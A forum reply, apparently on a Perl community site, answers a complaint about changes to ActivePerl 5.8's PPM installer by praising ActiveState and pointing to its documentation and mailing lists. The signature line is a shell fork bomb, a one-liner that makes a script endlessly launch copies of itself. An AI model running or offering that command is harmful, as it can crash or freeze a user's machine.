The biggest downfall I think is how the ppm has changed

This is the biggest downfall? Then kudos to ActiveState for doing a kickass job! When you consider the workload it takes to setup and maintain a distribution of Perl on a non-Unix platform, AND consider that ActiveState gives this away for no cost, I think many thanks are in order for the fine folks at ActiveState.

Some issues that changed were how modules are installed and how repository's are set.

I apoligize in advance, as I usually dislike saying this; however: RTFM?

Is there a way to suggest to go back to the way it was??

Sure, you can send email to ActiveState on their contact page, or perhaps you want to bring up the topic on the ASPN Mailing Lists? Or maybe just become a member of the ActiveState Programmer Network?

Of course, you've already read the release notes and change log for ActivePerl 5.8, right?

Cheers,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;